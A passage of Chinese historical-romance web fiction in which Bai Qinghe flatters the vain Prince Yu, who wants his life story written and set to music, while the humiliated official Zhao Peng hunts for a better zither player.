白青禾眼见着赵鹏呆若木鸡站在旁边,不悦道:“还不滚,像个木头似的戳在这惹王爷生气,这大周朝的后生晚辈真是越来越不像话了,连曲子都不会谱,怎么做到巡检使的,还有啊,以后别再来找孙姑娘麻烦,那是老王爷喜欢的琴师。” 赵鹏恨得咬牙切齿。 从来没听说大周朝做武官考琴艺的,有心分辨几句,担心老王爷朝他发火,只能灰溜溜逃走。 他出了教坊,把所有手下都召集起来,“你们,从现在开始啥都别干,就给我找比孙筠筠还会弹奏的琴师。” 所有差役众口一词:“是。” …… 孙筠筠一曲演奏完,走到誉亲王面前给他行礼。 誉亲王一心惦记绫箫公子和锦瑟姑娘。 “孙姑娘,白丫头说你知道绫箫公子,带出来给本王瞧瞧。” 孙筠筠赶紧向白青禾求救。 白青禾急忙接过话头,“王爷,那绫箫公子其实……是位隐士高人,她从不理世俗,您有什么事,不如我帮您转达。” 老王爷也不是真要见到绫箫公子本人。 “白丫头,是这么回事,王爷我吧,这辈子没少为老百姓呕心沥血……” 誉亲王从年轻时糊涂,这辈子就没做过什么正事。 正是因此,皇家才没有人警惕他。 白青禾努力憋着笑。 慕卿紫忍不住,噗嗤一声笑了出来。 誉亲王不高兴了,“王爷我哪句话说的不对?” 白青禾有求于人,当然得给够情绪价值。 “小紫的意思是,您说的对极了,您这半生,可没少为百姓、为我大周朝谋福祉,老百姓都说您是我大周朝最有能力的王爷,您在我大周朝就是这个。” 她竖起大拇指,把老王爷夸得五迷三道,仿佛喝了假酒一般。 “还是你这丫头会说话,王爷我的丰功伟绩说上三天三夜都说不完,王爷我找锦瑟姑娘,就是想让他把我的生平写下来,再由绫箫公子谱个曲,让孙姑娘隔三差五唱唱,也让老百姓知道知道,他们能过上今天的好日子,应该感谢的是谁。” 白青禾:“……” 果然会做事的,不如会给自己邀功的。 锦瑟的作者显然是个极有才华的,由他把老王爷吹捧一番,不消三五年,满大周朝的百姓都得知道这位为民谋福祉的老王爷。